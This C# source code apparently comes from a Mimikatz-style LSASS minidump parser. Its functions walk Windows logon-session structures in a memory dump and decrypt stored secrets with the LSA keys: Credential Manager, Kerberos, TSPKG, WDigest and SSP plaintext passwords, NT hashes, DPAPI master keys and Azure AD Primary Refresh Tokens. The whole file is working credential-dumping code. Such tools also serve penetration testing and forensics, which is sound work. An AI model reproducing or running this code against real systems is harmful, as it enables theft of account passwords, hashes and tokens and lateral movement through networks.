public static int FindCredentials(Program.MiniDump minidump, credman.CredmanTemplate template) { foreach (var logon in minidump.logonlist) { //Console.WriteLine("======================="); var credmanMem = logon.pCredentialManager; var luid = logon.LogonId; long llCurrent; var reference = 1; minidump.fileBinaryReader.BaseStream.Seek(credmanMem, 0); var credmansetBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(template.list_entry)); //int list1offset = StructFieldOffset(typeof(KIWI_CREDMAN_SET_LIST_ENTRY), "list1");//bug long pList1 = BitConverter.ToInt64(credmansetBytes, FieldOffset <KIWI_CREDMAN_SET_LIST_ENTRY>("list1")); long refer = pList1 + FieldOffset <KIWI_CREDMAN_LIST_STARTER>("start"); minidump.fileBinaryReader.BaseStream.Seek(Rva2offset(minidump, pList1), 0); var credmanstarterBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(KIWI_CREDMAN_LIST_STARTER))); long pStart = BitConverter.ToInt64(credmanstarterBytes, FieldOffset <KIWI_CREDMAN_LIST_STARTER>("start")); if (pStart == 0) { continue; } if (pStart == refer) { continue; } llCurrent = pStart; do { llCurrent = llCurrent - FieldOffset <KIWI_CREDMAN_LIST_ENTRY>("Flink"); llCurrent = Rva2offset(minidump, llCurrent); if (llCurrent == 0) { continue; } minidump.fileBinaryReader.BaseStream.Seek(llCurrent, 0); var entryBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(KIWI_CREDMAN_LIST_ENTRY))); var entry = ReadStruct <KIWI_CREDMAN_LIST_ENTRY>(entryBytes); var username = ExtractUnicodeStringString(minidump, entry.user); var domain = ExtractUnicodeStringString(minidump, entry.server1); var passDecrypted = ""; minidump.fileBinaryReader.BaseStream.Seek(Rva2offset(minidump, (long)entry.encPassword), 0); var msvPasswordBytes = minidump.fileBinaryReader.ReadBytes((int)entry.cbEncPassword); var msvDecryptedPasswordBytes = BCrypt.DecryptCredentials(msvPasswordBytes, minidump.lsakeys); if (msvDecryptedPasswordBytes != null && msvDecryptedPasswordBytes.Length > 0) { var encoder = new UnicodeEncoding(false, false, true); try { passDecrypted = encoder.GetString(msvDecryptedPasswordBytes); } catch (Exception) { passDecrypted = PrintHexBytes(msvDecryptedPasswordBytes); } } if (!string.IsNullOrEmpty(username) && username.Length > 1) { CredMan credmanentry = new CredMan(); credmanentry.Reference = reference; credmanentry.UserName = username; if (!string.IsNullOrEmpty(domain)) { credmanentry.DomainName = domain; } else { credmanentry.DomainName = "NULL"; } if (!string.IsNullOrEmpty(passDecrypted)) { credmanentry.Password = passDecrypted; } else { credmanentry.Password = "******"; } if (credmanentry.Password != null) { var currentlogon = minidump.logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon == null) { currentlogon = new Logon(luid); //currentlogon.UserName = username; currentlogon.Credman = new List <CredMan>(); currentlogon.Credman.Add(credmanentry); minidump.logonlist.Add(currentlogon); } else { if (currentlogon.Credman == null) { currentlogon.Credman = new List <CredMan>(); } currentlogon.Credman.Add(credmanentry); } } } reference++; llCurrent = entry.Flink; } while (llCurrent != 0 && llCurrent != refer); } return(0); }
public static void FindCredentials(Program.MiniDump minidump, kerberos.KerberosTemplate template) { foreach (KerberosSessions.KerberosLogonItem entry in minidump.klogonlist) { if (entry == null) { continue; } var luid = ReadStruct <LUID>(GetBytes(entry.LogonSessionBytes, 72, Marshal.SizeOf(typeof(LUID)))); var usUserName = ReadStruct <UNICODE_STRING>(GetBytes(entry.LogonSessionBytes, template.SessionCredentialOffset + template.SessionUserNameOffset, Marshal.SizeOf(typeof(UNICODE_STRING)))); var usDomain = ReadStruct <UNICODE_STRING>(GetBytes(entry.LogonSessionBytes, template.SessionCredentialOffset + template.SessionDomainOffset, Marshal.SizeOf(typeof(UNICODE_STRING)))); var usPassword = ReadStruct <UNICODE_STRING>(GetBytes(entry.LogonSessionBytes, template.SessionCredentialOffset + template.SessionPasswordOffset, Marshal.SizeOf(typeof(UNICODE_STRING)))); var username = ExtractUnicodeStringString(minidump, usUserName); var domain = ExtractUnicodeStringString(minidump, usDomain); minidump.fileBinaryReader.BaseStream.Seek(Rva2offset(minidump, usPassword.Buffer), 0); byte[] msvPasswordBytes = minidump.fileBinaryReader.ReadBytes(usPassword.MaximumLength); var msvDecryptedPasswordBytes = BCrypt.DecryptCredentials(msvPasswordBytes, minidump.lsakeys); var passDecrypted = ""; var encoder = new UnicodeEncoding(false, false, true); try { passDecrypted = encoder.GetString(msvDecryptedPasswordBytes); } catch (Exception) { passDecrypted = PrintHexBytes(msvDecryptedPasswordBytes); } //passDecrypted = Convert.ToBase64String(msvDecryptedPasswordBytes); if (!string.IsNullOrEmpty(username) && username.Length > 1) { if (msvDecryptedPasswordBytes.Length <= 1) { continue; } var krbrentry = new Kerberos(); krbrentry.UserName = username; if (krbrentry.UserName.Contains("$")) { try { krbrentry.NT = msvDecryptedPasswordBytes.MD4().AsHexString(); } catch { krbrentry.NT = "NULL"; } } if (!string.IsNullOrEmpty(domain)) { krbrentry.DomainName = domain; } else { krbrentry.DomainName = "NULL"; } if (!string.IsNullOrEmpty(passDecrypted)) { krbrentry.Password = passDecrypted; } else { krbrentry.Password = "******"; } var currentlogon = minidump.logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon == null) { currentlogon = new Logon(luid); currentlogon.UserName = username; currentlogon.Kerberos = krbrentry; minidump.logonlist.Add(currentlogon); } else { currentlogon.Kerberos = krbrentry; } } } }
public static int FindCredentials(Program.MiniDump minidump, dpapi.DpapiTemplate template) { foreach (string module in new List <string> { "lsasrv.dll", "dpapisrv.dll" }) { long position = find_signature(minidump, module, template.signature); long llcurrent; if (position == 0) { continue; } var ptr_entry_loc = get_ptr_with_offset(minidump.fileBinaryReader, (position + template.first_entry_offset), minidump.sysinfo); long ptr_entry = ReadInt64(minidump.fileBinaryReader, (long)ptr_entry_loc); llcurrent = ptr_entry; do { byte[] entryBytes = ReadBytes(minidump.fileBinaryReader, Rva2offset(minidump, llcurrent), Marshal.SizeOf(typeof(dpapi.KIWI_MASTERKEY_CACHE_ENTRY))); dpapi.KIWI_MASTERKEY_CACHE_ENTRY dpapiEntry = ReadStruct <dpapi.KIWI_MASTERKEY_CACHE_ENTRY>(entryBytes); //PrintProperties(dpapiEntry); if (dpapiEntry.keySize > 1) { byte[] dec_masterkey = BCrypt.DecryptCredentials(dpapiEntry.key, minidump.lsakeys); Dpapi dpapi = new Dpapi(); //dpapi.luid = $"{dpapiEntry.LogonId.HighPart}:{dpapiEntry.LogonId.LowPart}"; dpapi.masterkey = BitConverter.ToString(dec_masterkey).Replace("-", ""); dpapi.insertTime = $"{ToDateTime(dpapiEntry.insertTime):yyyy-MM-dd HH:mm:ss}"; dpapi.key_size = dpapiEntry.keySize.ToString(); dpapi.key_guid = dpapiEntry.KeyUid.ToString(); dpapi.masterkey_sha = BCrypt.GetHashSHA1(dec_masterkey); Logon currentlogon = minidump.logonlist.FirstOrDefault(x => x.LogonId.HighPart == dpapiEntry.LogonId.HighPart && x.LogonId.LowPart == dpapiEntry.LogonId.LowPart); if (currentlogon == null && !dpapi.insertTime.Contains("1601-01-01")) { currentlogon = new Logon(dpapiEntry.LogonId); currentlogon.Dpapi = new List <Dpapi>(); currentlogon.Dpapi.Add(dpapi); minidump.logonlist.Add(currentlogon); } else { if (currentlogon.Dpapi == null) { currentlogon.Dpapi = new List <Dpapi>(); } currentlogon.Dpapi.Add(dpapi); } } llcurrent = dpapiEntry.Flink; } while (llcurrent != ptr_entry); } return(0); }
private static void WalkAVLTables(Program.MiniDump minidump, tspkg.TspkgTemplate template, long pElement) { pElement = Rva2offset(minidump, pElement); minidump.fileBinaryReader.BaseStream.Seek(pElement, 0); if (pElement == 0) { return; } var entryBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(RTL_AVL_TABLE))); var entry = ReadStruct <RTL_AVL_TABLE>(entryBytes); //Minidump.Helpers.PrintProperties(entry.BalancedRoot); if (entry.OrderedPointer != 0) { pElement = Rva2offset(minidump, entry.OrderedPointer); minidump.fileBinaryReader.BaseStream.Seek(pElement, 0); var krbrLogonSessionBytes = minidump.fileBinaryReader.ReadBytes(template.TSCredTypeSize); var luid = ReadStruct <LUID>(GetBytes(krbrLogonSessionBytes, template.TSCredLocallyUniqueIdentifierOffset, Marshal.SizeOf(typeof(LUID)))); long pCredAddr = Rva2offset(minidump, BitConverter.ToInt64(krbrLogonSessionBytes, template.TSCredOffset)); minidump.fileBinaryReader.BaseStream.Seek(pCredAddr, 0); var pCredBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(KIWI_TS_PRIMARY_CREDENTIAL))); var pCred = ReadStruct <KIWI_TS_PRIMARY_CREDENTIAL>(pCredBytes); var usUserName = pCred.credentials.UserName; var usDomain = pCred.credentials.Domain; var usPassword = pCred.credentials.Password; var username = ExtractUnicodeStringString(minidump, usUserName); var domain = ExtractUnicodeStringString(minidump, usDomain); byte[] msvPasswordBytes = minidump.fileBinaryReader.ReadBytes(usPassword.MaximumLength); var msvDecryptedPasswordBytes = BCrypt.DecryptCredentials(msvPasswordBytes, minidump.lsakeys); var passDecrypted = ""; var NT = ""; var encoder = new UnicodeEncoding(false, false, true); try { passDecrypted = encoder.GetString(msvDecryptedPasswordBytes); } catch (Exception) { passDecrypted = PrintHexBytes(msvDecryptedPasswordBytes); } if (msvDecryptedPasswordBytes.Length > 0) { try { NT = msvDecryptedPasswordBytes.MD4().AsHexString(); } catch { NT = "NULL"; } } if (!string.IsNullOrEmpty(username) && username.Length > 1) { Tspkg krbrentry = new Tspkg(); krbrentry.UserName = username; if (!string.IsNullOrEmpty(domain)) { krbrentry.DomainName = domain; } else { krbrentry.DomainName = "NULL"; } if (!string.IsNullOrEmpty(passDecrypted)) { krbrentry.Password = passDecrypted; } else { krbrentry.Password = "******"; } krbrentry.NT = NT; //Minidump.Helpers.PrintProperties(krbrentry); if (krbrentry.Password != "NULL") { var currentlogon = minidump.logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon == null) { currentlogon = new Logon(luid); currentlogon.UserName = username; currentlogon.Tspkg = new List <Tspkg>(); currentlogon.Tspkg.Add(krbrentry); minidump.logonlist.Add(currentlogon); } else { currentlogon.Tspkg = new List <Tspkg>(); currentlogon.Tspkg.Add(krbrentry); } } } } if (entry.BalancedRoot.RightChild != 0) { WalkAVLTables(minidump, template, entry.BalancedRoot.RightChild); } if (entry.BalancedRoot.LeftChild != 0) { WalkAVLTables(minidump, template, entry.BalancedRoot.LeftChild); } }
public static int FindCredentials(Program.MiniDump minidump, cloudap.CloudapTemplate template) { wdigest.KIWI_WDIGEST_LIST_ENTRY entry; long logSessListAddr; long llCurrent; long position = find_signature(minidump, "cloudAP.dll", template.signature); if (position == 0) { return(0); } var ptr_entry_loc = get_ptr_with_offset(minidump.fileBinaryReader, (position + template.first_entry_offset), minidump.sysinfo); var ptr_entry = ReadUInt64(minidump.fileBinaryReader, (long)ptr_entry_loc); llCurrent = (long)ptr_entry; long stop = ReadInt64(minidump.fileBinaryReader, Rva2offset(minidump, llCurrent + 8)); do { logSessListAddr = Rva2offset(minidump, llCurrent); byte[] Bytes = ReadBytes(minidump.fileBinaryReader, logSessListAddr, Marshal.SizeOf(typeof(KIWI_CLOUDAP_LOGON_LIST_ENTRY))); var log = ReadStruct <KIWI_CLOUDAP_LOGON_LIST_ENTRY>(Bytes); LUID luid = log.LocallyUniqueIdentifier; //PrintProperties(log); byte[] entryBytes = ReadBytes(minidump.fileBinaryReader, Rva2offset(minidump, log.cacheEntry), Marshal.SizeOf(typeof(KIWI_CLOUDAP_CACHE_LIST_ENTRY))); KIWI_CLOUDAP_CACHE_LIST_ENTRY cacheEntry = ReadStruct <KIWI_CLOUDAP_CACHE_LIST_ENTRY>(entryBytes); string cachedir = Encoding.Unicode.GetString(cacheEntry.toname); //PrintProperties(cacheEntry); Cloudap cloudapentry = new Cloudap(); cloudapentry.cachedir = cachedir; if (cacheEntry.cbPRT != 0 && cacheEntry.PRT != 0) { byte[] prtBytes = ReadBytes(minidump.fileBinaryReader, Rva2offset(minidump, (long)cacheEntry.PRT), (int)cacheEntry.cbPRT); var DecryptedPRTBytes = BCrypt.DecryptCredentials(prtBytes, minidump.lsakeys); string PRT = Encoding.ASCII.GetString(DecryptedPRTBytes.Skip(25).ToArray()); cloudapentry.PRT = PRT; } if (cacheEntry.toDetermine != 0) { byte[] cacheunkBytes = ReadBytes(minidump.fileBinaryReader, Rva2offset(minidump, (long)cacheEntry.toDetermine), Marshal.SizeOf(typeof(KIWI_CLOUDAP_CACHE_UNK))); KIWI_CLOUDAP_CACHE_UNK cacheunk = ReadStruct <KIWI_CLOUDAP_CACHE_UNK>(cacheunkBytes); var DecryptedDpapiBytes = BCrypt.DecryptCredentials(cacheunk.unk, minidump.lsakeys); string key_guid = cacheunk.guid.ToString(); string dpapi_key = BitConverter.ToString(DecryptedDpapiBytes).Replace("-", ""); string dpapi_key_sha1 = BCrypt.GetHashSHA1(DecryptedDpapiBytes); cloudapentry.key_guid = key_guid; cloudapentry.dpapi_key = dpapi_key; cloudapentry.dpapi_key_sha = dpapi_key_sha1; } var currentlogon = minidump.logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon == null) { currentlogon = new Logon(luid) { //UserName = username, Cloudap = new List <Cloudap>() }; currentlogon.Cloudap.Add(cloudapentry); minidump.logonlist.Add(currentlogon); } else { currentlogon.Cloudap = new List <Cloudap>(); currentlogon.Cloudap.Add(cloudapentry); } llCurrent = log.Flink; } while (llCurrent != stop); return(0); }
public static List <Logon> FindSessions(Program.MiniDump minidump, msv.MsvTemplate template) { //Minidump.PrintProperties(template); List <Logon> logonlist = new List <Logon>(); List <long> offsetlist = new List <long>(); long logonSessionListSignOffset = find_signature(minidump, "lsasrv.dll", template.signature); if (logonSessionListSignOffset == 0) { Console.WriteLine("[x] Error: Could not find LogonSessionList signature\n"); return(logonlist); } long logonSessionOffset = (long)get_ptr_with_offset(minidump.fileBinaryReader, (logonSessionListSignOffset + template.LogonSessionListCountOffset), minidump.sysinfo); int logonSessionListCount = ReadInt32(minidump.fileBinaryReader, logonSessionOffset); //Console.WriteLine($"Parsing {logonSessionListCount} logon sessions"); for (var i = 0; i < logonSessionListCount; i++) { //Console.WriteLine($"Parsing session {i}"); long offset = logonSessionListSignOffset + template.first_entry_offset; long listMemOffset = ReadInt32(minidump.fileBinaryReader, offset); long tmp_offset = (int)offset + sizeof(int) + (int)listMemOffset + (16 * i); var voffset = ReadInt64(minidump.fileBinaryReader, tmp_offset); long current = Rva2offset(minidump, voffset); do { long listentry = ReadInt64(minidump.fileBinaryReader, current); listentry = Rva2offset(minidump, listentry); if (listentry == 0) { break; } if (offsetlist.Contains((listentry + template.LocallyUniqueIdentifierOffset))) { break; } KIWI_BASIC_SECURITY_LOGON_SESSION_DATA logonsession = new KIWI_BASIC_SECURITY_LOGON_SESSION_DATA(); offsetlist.Add(listentry + template.LocallyUniqueIdentifierOffset); logonsession.LogonId = listentry + template.LocallyUniqueIdentifierOffset; logonsession.LogonType = ReadInt32(minidump.fileBinaryReader, listentry + template.LogonTypeOffset); logonsession.Session = ReadInt32(minidump.fileBinaryReader, listentry + template.SessionOffset); logonsession.LogonTime = ReadStruct <FILETIME>(ReadBytes(minidump.fileBinaryReader, listentry + template.LogonTimeOffset + 4, 8)); //p* for pointers logonsession.pCredentials = ReadInt64(minidump.fileBinaryReader, listentry + template.CredentialsOffset); logonsession.pCredentialManager = ReadInt64(minidump.fileBinaryReader, listentry + template.CredentialManagerOffset); logonsession.pSid = listentry + template.pSidOffset; var luid = ReadStruct <LUID>(ReadBytes(minidump.fileBinaryReader, logonsession.LogonId, 4)); minidump.fileBinaryReader.BaseStream.Seek(listentry + template.UserNameListOffset, 0); logonsession.UserName = ExtractUnicodeStringString(minidump, ExtractUnicodeString(minidump.fileBinaryReader)); minidump.fileBinaryReader.BaseStream.Seek(listentry + template.DomainOffset, 0); logonsession.LogonDomain = ExtractUnicodeStringString(minidump, ExtractUnicodeString(minidump.fileBinaryReader)); minidump.fileBinaryReader.BaseStream.Seek(listentry + template.LogonServerOffset, 0); logonsession.LogonServer = ExtractUnicodeStringString(minidump, ExtractUnicodeString(minidump.fileBinaryReader)); string stringSid = ""; stringSid = ExtractSid(minidump, logonsession.pSid); var logon = new Logon(luid) { Session = logonsession.Session, LogonType = KUHL_M_SEKURLSA_LOGON_TYPE[logonsession.LogonType], LogonTime = logonsession.LogonTime, UserName = logonsession.UserName, LogonDomain = logonsession.LogonDomain, LogonServer = logonsession.LogonServer, SID = stringSid, pCredentials = Rva2offset(minidump, logonsession.pCredentials), pCredentialManager = Rva2offset(minidump, logonsession.pCredentialManager) }; //Console.WriteLine("session " + logon.Session + " luid " + logon.LogonId.LowPart + " username " + logon.UserName + " pCredentials " + logonsession.pCredentials); //PrintProperties(logon); logonlist.Add(logon); voffset = ReadInt64(minidump.fileBinaryReader, listentry); current = Rva2offset(minidump, voffset); } while (true); } return(logonlist); }
public static int FindCredentials(Program.MiniDump minidump, LiveSspTemplate template) { KIWI_LIVESSP_LIST_ENTRY entry; string passDecrypted = ""; long llCurrent; long sspCredentialListAddr; //Console.WriteLine(Helpers.ByteArrayToString(template.signature)); //foreach (var VARIABLE in minidump.modules) //{ // Console.WriteLine(VARIABLE.name); //} long position = find_signature(minidump, "msv1_0.dll", template.signature); if (position == 0) { return(0); } long ptr_entry_loc = (long)get_ptr_with_offset(minidump.fileBinaryReader, (position + template.first_entry_offset), minidump.sysinfo); sspCredentialListAddr = ReadInt64(minidump.fileBinaryReader, (long)ptr_entry_loc); //sspCredentialListAddr = Rva2offset(minidump, ptr_entry); llCurrent = sspCredentialListAddr; do { Console.WriteLine(llCurrent); llCurrent = Rva2offset(minidump, llCurrent); //Console.WriteLine(llCurrent); minidump.fileBinaryReader.BaseStream.Seek(llCurrent, 0); byte[] entryBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(KIWI_LIVESSP_LIST_ENTRY))); entry = ReadStruct <KIWI_LIVESSP_LIST_ENTRY>(entryBytes); string username = ExtractUnicodeStringString(minidump, entry.suppCreds.credentials.UserName); string domain = ExtractUnicodeStringString(minidump, entry.suppCreds.credentials.Domain); minidump.fileBinaryReader.BaseStream.Seek(Rva2offset(minidump, entry.suppCreds.credentials.Password.Buffer), 0); byte[] msvPasswordBytes = minidump.fileBinaryReader.ReadBytes(entry.suppCreds.credentials.Password.MaximumLength); byte[] msvDecryptedPasswordBytes = BCrypt.DecryptCredentials(msvPasswordBytes, minidump.lsakeys); passDecrypted = Encoding.Unicode.GetString(msvDecryptedPasswordBytes); /*Console.WriteLine("LUID " + entry.LogonId.LowPart); * Console.WriteLine("References " + entry.References); * Console.WriteLine("CredentialReferences " + entry.CredentialReferences); * Console.WriteLine("Uusername {1} {0}", username, entry.credentials.UserName.MaximumLength); * Console.WriteLine("Udomain {1} {0}", domain, entry.credentials.Domaine.MaximumLength); * Console.WriteLine("Upassword {1} {0}", passDecrypted, entry.credentials.Password.MaximumLength);*/ if (!string.IsNullOrEmpty(username) && username.Length > 1) { LUID luid = entry.LocallyUniqueIdentifier; LiveSsp sspentry = new LiveSsp(); sspentry.UserName = username; if (!string.IsNullOrEmpty(domain)) { sspentry.DomainName = domain; } else { sspentry.DomainName = "NULL"; } if (!string.IsNullOrEmpty(passDecrypted)) { sspentry.Password = passDecrypted; } else { sspentry.Password = "******"; } try { sspentry.NT = msvDecryptedPasswordBytes.MD4().AsHexString(); } catch { sspentry.NT = "NULL"; } if (sspentry.Password != "NULL") { Logon currentlogon = minidump.logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon == null) { currentlogon = new Logon(luid); currentlogon.UserName = username; currentlogon.LiveSsp = new List <LiveSsp>(); currentlogon.LiveSsp.Add(sspentry); minidump.logonlist.Add(currentlogon); } else { if (currentlogon.LiveSsp == null) { currentlogon.LiveSsp = new List <LiveSsp>(); } currentlogon.LiveSsp.Add(sspentry); } } } llCurrent = entry.Flink; } while (llCurrent != sspCredentialListAddr); return(0); }
public static int FindCredentials(Program.MiniDump minidump, wdigest.WdigestTemplate template) { wdigest.KIWI_WDIGEST_LIST_ENTRY entry; long logSessListAddr; long llCurrent; var passDecrypted = ""; long position = find_signature(minidump, "wdigest.dll", template.signature); if (position == 0) { return(0); } var ptr_entry_loc = get_ptr_with_offset(minidump.fileBinaryReader, (position + template.first_entry_offset), minidump.sysinfo); var ptr_entry = ReadUInt64(minidump.fileBinaryReader, (long)ptr_entry_loc); logSessListAddr = Rva2offset(minidump, (long)ptr_entry); minidump.fileBinaryReader.BaseStream.Seek(logSessListAddr, 0); byte[] entryBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(wdigest.KIWI_WDIGEST_LIST_ENTRY))); var pThis = BitConverter.ToInt64(entryBytes, FieldOffset <wdigest.KIWI_WDIGEST_LIST_ENTRY>("This")); llCurrent = pThis; do { llCurrent = Rva2offset(minidump, llCurrent); minidump.fileBinaryReader.BaseStream.Seek(llCurrent, 0); entryBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(wdigest.KIWI_WDIGEST_LIST_ENTRY))); entry = ReadStruct <wdigest.KIWI_WDIGEST_LIST_ENTRY>(entryBytes); if (entry.UsageCount == 1) { minidump.fileBinaryReader.BaseStream.Seek(llCurrent + template.USERNAME_OFFSET, 0); var username = ExtractUnicodeStringString(minidump, ExtractUnicodeString(minidump.fileBinaryReader)); minidump.fileBinaryReader.BaseStream.Seek(llCurrent + template.HOSTNAME_OFFSET, 0); var hostname = ExtractUnicodeStringString(minidump, ExtractUnicodeString(minidump.fileBinaryReader)); minidump.fileBinaryReader.BaseStream.Seek(llCurrent + template.PASSWORD_OFFSET, 0); var password = ExtractUnicodeStringString(minidump, ExtractUnicodeString(minidump.fileBinaryReader)); if (!string.IsNullOrEmpty(username) && username.Length > 1) { var luid = entry.LocallyUniqueIdentifier; var wdigestentry = new WDigest(); wdigestentry.UserName = username; if (!string.IsNullOrEmpty(hostname)) { wdigestentry.HostName = hostname; } else { wdigestentry.HostName = "NULL"; } byte[] passDecryptedBytes = new byte[] { }; if (!string.IsNullOrEmpty(password) && password.Length % 2 == 0) { passDecryptedBytes = BCrypt.DecryptCredentials(Encoding.Unicode.GetBytes(password), minidump.lsakeys); passDecrypted = Encoding.Unicode.GetString(passDecryptedBytes); if (passDecrypted.Length > 0) { wdigestentry.Password = passDecrypted; } } else { wdigestentry.Password = "******"; } if (passDecryptedBytes.Length > 0) { try { wdigestentry.NT = passDecryptedBytes.MD4().AsHexString(); } catch { wdigestentry.NT = "NULL"; } } if (wdigestentry.Password != "NULL") { var currentlogon = minidump.logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon == null) { currentlogon = new Logon(luid) { UserName = username, Wdigest = new List <WDigest>() }; currentlogon.Wdigest.Add(wdigestentry); minidump.logonlist.Add(currentlogon); } else { currentlogon.Wdigest = new List <WDigest>(); currentlogon.Wdigest.Add(wdigestentry); } } } } llCurrent = entry.Flink; } while (llCurrent != (long)ptr_entry); return(0); }
public static int FindCredentials(Program.MiniDump minidump, ssp.SspTemplate template) { ssp.KIWI_SSP_CREDENTIAL_LIST_ENTRY entry; string passDecrypted = ""; long llCurrent; long sspCredentialListAddr; long position = find_signature(minidump, "msv1_0.dll", template.signature); if (position == 0) { return(0); } var ptr_entry_loc = (long)get_ptr_with_offset(minidump.fileBinaryReader, (position + template.first_entry_offset), minidump.sysinfo); sspCredentialListAddr = ReadInt64(minidump.fileBinaryReader, (long)ptr_entry_loc); llCurrent = sspCredentialListAddr; do { llCurrent = Rva2offset(minidump, llCurrent); minidump.fileBinaryReader.BaseStream.Seek(llCurrent, 0); byte[] entryBytes = minidump.fileBinaryReader.ReadBytes(Marshal.SizeOf(typeof(ssp.KIWI_SSP_CREDENTIAL_LIST_ENTRY))); entry = ReadStruct <ssp.KIWI_SSP_CREDENTIAL_LIST_ENTRY>(entryBytes); string username = ExtractUnicodeStringString(minidump, entry.credentials.UserName); string domain = ExtractUnicodeStringString(minidump, entry.credentials.Domain); int reference = (int)entry.References; minidump.fileBinaryReader.BaseStream.Seek(Rva2offset(minidump, entry.credentials.Password.Buffer), 0); byte[] msvPasswordBytes = minidump.fileBinaryReader.ReadBytes(entry.credentials.Password.MaximumLength); byte[] msvDecryptedPasswordBytes = BCrypt.DecryptCredentials(msvPasswordBytes, minidump.lsakeys); passDecrypted = Encoding.Unicode.GetString(msvDecryptedPasswordBytes); if (!string.IsNullOrEmpty(username) && username.Length > 1 && msvDecryptedPasswordBytes.Length > 1) { LUID luid = entry.LogonId; Ssp sspentry = new Ssp(); //sspentry.Reference = reference; sspentry.UserName = username; if (!string.IsNullOrEmpty(domain)) { sspentry.DomainName = domain; } else { sspentry.DomainName = "NULL"; } if (!string.IsNullOrEmpty(passDecrypted)) { sspentry.Password = passDecrypted; } else { sspentry.Password = "******"; } try { sspentry.NT = msvDecryptedPasswordBytes.MD4().AsHexString(); } catch { sspentry.NT = "NULL"; } if (sspentry.Password != "NULL") { Logon currentlogon = minidump.logonlist.FirstOrDefault(x => x.LogonId.HighPart == luid.HighPart && x.LogonId.LowPart == luid.LowPart); if (currentlogon == null) { currentlogon = new Logon(luid); currentlogon.UserName = username; currentlogon.Ssp = new List <Ssp>(); currentlogon.Ssp.Add(sspentry); minidump.logonlist.Add(currentlogon); } else { if (currentlogon.Ssp == null) { currentlogon.Ssp = new List <Ssp>(); } currentlogon.Ssp.Add(sspentry); } } } llCurrent = entry.Flink; } while (llCurrent != sspCredentialListAddr); return(0); }